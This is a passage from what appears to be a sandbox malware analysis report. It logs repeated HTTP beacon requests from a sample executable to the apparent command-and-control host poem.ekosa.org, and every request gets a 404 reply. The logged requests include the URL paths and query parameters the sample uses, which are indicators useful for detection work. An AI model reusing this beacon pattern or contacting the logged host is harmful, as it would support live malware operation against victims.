Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.4	49789	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:11.295078993 CET	395	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:11.574569941 CET	396	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:10 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
250	192.168.2.4	50030	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:22.137531996 CET	5299	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:22.406336069 CET	5300	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:22 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
251	192.168.2.4	50031	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:22.675158978 CET	5300	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:22.936172962 CET	5301	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:22 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
252	192.168.2.4	50032	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:23.319056988 CET	5302	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:23.581068039 CET	5302	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:23 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
253	192.168.2.4	50033	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:23.861730099 CET	5303	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:24.129415989 CET	5303	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:23 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
254	192.168.2.4	50034	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:24.396656990 CET	5304	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:24.659502029 CET	5305	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:24 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
255	192.168.2.4	50035	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:25.035551071 CET	5305	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:25.298223972 CET	5306	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:24 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
256	192.168.2.4	50036	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:25.567418098 CET	5307	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:25.828813076 CET	5307	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:25 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
257	192.168.2.4	50037	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:26.094739914 CET	5308	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:26.354414940 CET	5308	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:25 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
258	192.168.2.4	50038	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:26.753338099 CET	5309	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:27.024575949 CET	5310	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:26 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
259	192.168.2.4	50039	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:27.299591064 CET	5310	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:27.564192057 CET	5311	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:26 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 